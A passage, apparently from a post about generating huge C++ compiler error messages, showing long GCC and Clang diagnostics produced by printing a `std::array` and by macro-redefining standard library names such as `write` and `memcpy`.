/opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:174:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(bool) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 174 | operator<<(bool __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:174:23: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'bool' 174 | operator<<(bool __n) | ~~~~~^~~ In file included from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:833: /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:91:5: note: candidate: 'std::basic_ostream<_CharT, _Traits>& std::basic_ostream<_CharT, _Traits>::operator<<(short int) [with _CharT = char; _Traits = std::char_traits<char>]' 91 | basic_ostream<_CharT, _Traits>:: | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:92:22: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'short int' 92 | operator<<(short __n) | ~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:181:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(short unsigned int) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 181 | operator<<(unsigned short __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:181:33: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'short unsigned int' 181 | operator<<(unsigned short __n) | ~~~~~~~~~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:105:5: note: candidate: 'std::basic_ostream<_CharT, _Traits>& std::basic_ostream<_CharT, _Traits>::operator<<(int) [with _CharT = char; _Traits = std::char_traits<char>]' 105 | basic_ostream<_CharT, _Traits>:: | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:106:20: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'int' 106 | operator<<(int __n) | ~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:192:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(unsigned int) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 192 | operator<<(unsigned int __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:192:31: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'unsigned int' 192 | operator<<(unsigned int __n) | ~~~~~~~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:201:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(long long int) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 201 | operator<<(long long __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:201:28: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'long long int' 201 | operator<<(long long __n) | ~~~~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:205:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(long long unsigned int) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 205 | operator<<(unsigned long long __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:205:37: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'long long unsigned int' 205 | operator<<(unsigned long long __n) | ~~~~~~~~~~~~~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:220:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(double) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 220 | operator<<(double __f) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:220:25: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'double' 220 | operator<<(double __f) | ~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:224:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(float) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 224 | operator<<(float __f) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:224:24: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'float' 224 | operator<<(float __f) | ~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:232:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(long double) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 232 | operator<<(long double __f) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:232:30: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'long double' 232 | operator<<(long double __f) | ~~~~~~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:245:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(const void*) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 245 | operator<<(const void* __p) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:245:30: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'const void*' 245 | operator<<(const void* __p) | ~~~~~~~~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:250:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(std::nullptr_t) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>; std::nullptr_t = std::nullptr_t]' 250 | operator<<(nullptr_t) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:250:18: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'std::nullptr_t' 250 | operator<<(nullptr_t) | ^~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:119:5: note: candidate: 'std::basic_ostream<_CharT, _Traits>& std::basic_ostream<_CharT, _Traits>::operator<<(__streambuf_type*) [with _CharT = char; _Traits = std::char_traits<char>; __streambuf_type = std::basic_streambuf<char>]' 119 | basic_ostream<_CharT, _Traits>:: | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:120:34: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'std::basic_ostream<char>::__streambuf_type*' {aka 'std::basic_streambuf<char>*'} 120 | operator<<(__streambuf_type* __sbin) | ~~~~~~~~~~~~~~~~~~^~~~~~ In file included from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/basic_string.h:48, from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/string:53, from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/locale_classes.h:40, from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ios_base.h:41, from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ios:4, from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:38: /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/string_view:672:5: note: candidate: 'template<class _CharT, class _Traits> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, basic_string_view<_CharT, _Traits>)' 672 | operator<<(basic_ostream<_CharT, _Traits>& __os, | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/string_view:672:5: note: template argument deduction/substitution failed: delete.cpp:3:31: note: 'std::array<int, 1>' is not derived from 'std::basic_string_view<_CharT, _Traits>' 3 | main(){std::cout<<std::array{1};} | ^ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/basic_string.h:3883:5:note: candidate: 'template<class _CharT, class _Traits, class _Alloc> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, const __cxx11::basic_string<_CharT, _Traits, _Allocator>&)' 3883 | operator<<(basic_ostream<_CharT, _Traits>& __os, | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/basic_string.h:3883:5:note: template argument deduction/substitution failed: delete.cpp:3:31: note: 'std::array<int, 1>' is not derived from 'const std::__cxx11::basic_string<_CharT, _Traits, _Allocator>' 3 | main(){std::cout<<std::array{1};} | ^ In file included from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ios_base.h:46: /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/system_error:279:5: note: candidate: 'template<class _CharT, class _Traits> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, const error_code&)' 279 | operator<<(basic_ostream<_CharT, _Traits>& __os, const error_code& __e) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/system_error:279:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'const std::error_code&' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:507:5: note: candidate: 'template<class _CharT, class _Traits> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, _CharT)' 507 | operator<<(basic_ostream<_CharT, _Traits>& __out, _CharT __c) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:507:5: note: template argument deduction/substitution failed: delete.cpp:3:31: note: deduced conflicting types for parameter '_CharT' ('cha' and 'std::array<int, 1>') 3 | main(){std::cout<<std::array{1};} | ^ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:517:5: note: candidate: 'template<class _CharT, class _Traits> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, char)' 517 | operator<<(basic_ostream<_CharT, _Traits>& __out, char __c) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:517:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'char' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:523:5: note: candidate: 'template<class _Traits> std::basic_ostream<char, _Traits>& std::operator<<(basic_ostream<char, _Traits>&, char)' 523 | operator<<(basic_ostream<char, _Traits>& __out, char __c) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:523:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'char' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:534:5: note: candidate: 'template<class _Traits> std::basic_ostream<char, _Traits>& std::operator<<(basic_ostream<char, _Traits>&, signed char)' 534 | operator<<(basic_ostream<char, _Traits>& __out, signed char __c) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:534:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'signed char' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:539:5: note: candidate: 'template<class _Traits> std::basic_ostream<char, _Traits>& std::operator<<(basic_ostream<char, _Traits>&, unsigned char)' 539 | operator<<(basic_ostream<char, _Traits>& __out, unsigned char __c) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:539:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'unsigned char' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:598:5: note: candidate: 'template<class _CharT, class _Traits> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, const _CharT*)' 598 | operator<<(basic_ostream<_CharT, _Traits>& __out, const _CharT* __s) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:598:5: note: template argument deduction/substitution failed: delete.cpp:3:31: note: mismatched types 'const _CharT*' and 'std::array<int, 1>' 3 | main(){std::cout<<std::array{1};} | ^ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:302:5: note: candidate: 'template<class _CharT, class _Traits> std::basic_ostream<_CharT, _Traits>& std::operator<<(basic_ostream<_CharT, _Traits>&, const char*)' 302 | operator<<(basic_ostream<_CharT, _Traits>& __out, const char* __s) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/bits/ostream.tcc:302:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'const char*' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:615:5: note: candidate: 'template<class _Traits> std::basic_ostream<char, _Traits>& std::operator<<(basic_ostream<char, _Traits>&, const char*)' 615 | operator<<(basic_ostream<char, _Traits>& __out, const char* __s) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:615:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'const char*' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:628:5: note: candidate: 'template<class _Traits> std::basic_ostream<char, _Traits>& std::operator<<(basic_ostream<char, _Traits>&, const signed char*)' 628 | operator<<(basic_ostream<char, _Traits>& __out, const signed char* __s) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:628:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'const signed char*' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:633:5: note: candidate: 'template<class _Traits> std::basic_ostream<char, _Traits>& std::operator<<(basic_ostream<char, _Traits>&, const unsigned char*)' 633 | operator<<(basic_ostream<char, _Traits>& __out, const unsigned char* __s) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:633:5: note: template argument deduction/substitution failed: delete.cpp:3:24: note: cannot convert 'std::array<int, 1>{std::__array_traits<int, 1>::_Type{1}}' (type 'std::array<int, 1>') to type 'const unsigned char*' 3 | main(){std::cout<<std::array{1};} | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:754:5: note: candidate: 'template<class _Ostream, class _Tp> _Ostream&& std::operator<<(_Ostream&&, const _Tp&)' 754 | operator<<(_Ostream&& __os, const _Tp& __x) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:754:5: note: template argument deduction/substitution failed: /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream: In substitution of 'template<class _Ostream, class _Tp> _Ostream&& std::operator<<(_Ostream&&, const _Tp&) [with _Ostream = std::basic_ostream<char>&; _Tp = std::array<int, 1>]': delete.cpp:3:31: required from here /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:754:5: error: no type named 'type' in 'struct std::enable_if<false, void>' ``` Another one, just to see what happens when you redefine important functions. ``` #define write std::array #define memcpy printf #include <iostream> ``` Compiled with Apple Clang 13.1.6 on macOS 12.4, with no options. Error (18212 characters): ``` In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:37: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ios:214: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__locale:15: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/string:522: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/algorithm:652: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/cstring:60: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/string.h:60: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/string.h:72:7: error: functions that differ only in their return type cannot be overloaded void *memcpy(void *__dst, const void *__src, size_t __n); ~~~~~~~~~^ delete.cpp:3:16: note: expanded from macro 'memcpy' #define memcpy cout ^ delete.cpp:2:14: note: expanded from macro 'cout' #define cout printf ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:170:6: note: previous declaration is here int printf(const char * __restrict, ...) __printflike(1, 2); ~~~ ^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:37: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ios:214: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__locale:15: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/string:522: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/algorithm:653: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/functional:500: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/function.h:22: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/memory:799:23: error: cannot initialize a parameter of type 'const char *' with an rvalue of type 'void *' _VSTD::memcpy(static_cast<void*>(__end2), static_cast<void const*>(__begin1), _Np * sizeof(_Tp)); ^~~~~~~~~~~~~~~~~~~~~~~~~~ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:170:36: note: passing argument to parameter here int printf(const char * __restrict, ...) __printflike(1, 2); ^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:38: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/istream:163: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:221:20: error: non-friend class member 'array' cannot have a qualified name basic_ostream& write(const char_type* __s, streamsize __n); ^~~~~ delete.cpp:1:20: note: expanded from macro 'write' #define write std::array ~~~~~^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:38: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/istream:163: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:905:45: error: unknown type name 'char_type' basic_ostream<_CharT, _Traits>::write(const char_type* __s, streamsize __n) ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:905:33: error: nested name specifier 'basic_ostream<_CharT, _Traits>::std::' for declaration does not refer into a class, class template or class template partial specialization basic_ostream<_CharT, _Traits>::write(const char_type* __s, streamsize __n) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~ delete.cpp:1:20: note: expanded from macro 'write' #define write std::array ^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:38: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/istream:163: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:911:9: error: unknown type name 'sentry' sentry __sen(*this); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:911:23: error: invalid use of 'this' outside of a non-static member function sentry __sen(*this); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:912:22: error: use of undeclared identifier '__n' if (__sen && __n) ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:914:17: error: invalid use of 'this' outside of a non-static member function if (this->rdbuf()->sputn(__s, __n) != __n) ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:914:38: error: use of undeclared identifier '__s' if (this->rdbuf()->sputn(__s, __n) != __n) ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:914:43: error: use of undeclared identifier '__n' if (this->rdbuf()->sputn(__s, __n) != __n) ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:914:51: error: use of undeclared identifier '__n' if (this->rdbuf()->sputn(__s, __n) != __n) ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:915:17: error: invalid use of 'this' outside of a non-static member function this->setstate(ios_base::badbit); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:921:9: error: invalid use of 'this' outside of a non-static member function this->__set_badbit_and_consider_rethrow(); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ostream:924:13: error: invalid use of 'this' outside of a non-static member function return *this; ^ In file included from delete.cpp:4: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:55:33: error: declaration conflicts with target of using declaration already in scope extern _LIBCPP_FUNC_VIS ostream cout; ^ delete.cpp:2:14: note: expanded from macro 'cout' #define cout printf ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:170:6: note: target of using declaration int printf(const char * __restrict, ...) __printflike(1, 2); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/cstdio:169:9: note: using declaration using ::printf _LIBCPP_USING_IF_EXISTS; ^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:37: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ios:214: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__locale:15: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/string:522: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/algorithm:653: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/functional:500: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/function.h:20: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__memory/shared_ptr.h:25: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__memory/unique_ptr.h:15: /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:40:19: error: cannot initialize a parameter of type 'const char *' with an rvalue of type 'unsigned int *' _VSTD::memcpy(&__r, __p, sizeof(__r)); ^~~~ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:138:28: note: in instantiation of function template specialization 'std::__loadword<unsigned int>' requested here const uint32_t __a = __loadword<uint32_t>(__s); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:229:14: note: in instantiation of member function 'std::__murmur2_or_cityhash<unsigned long, 64>::__hash_len_0_to_16' requested here return __hash_len_0_to_16(__s, __len); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:347:16: note: in instantiation of member function 'std::__murmur2_or_cityhash<unsigned long, 64>::operator()' requested here return __murmur2_or_cityhash<size_t>()(&__u, sizeof(__u)); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__functional/hash.h:421:20: note: in instantiation of member function 'std::__scalar_hash<std::_PairT, 2>::operator()' requested here return _HashT()(__p); ^ /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:170:36: note: passing argument to parameter here int printf(const char * __restrict, ...) __printflike(1, 2); ^ In file included from delete.cpp:4: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/iostream:37: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/ios:214: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/__locale:15: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/string:522: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/algorithm:653: In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/c++/v1/functional:500: In file included from 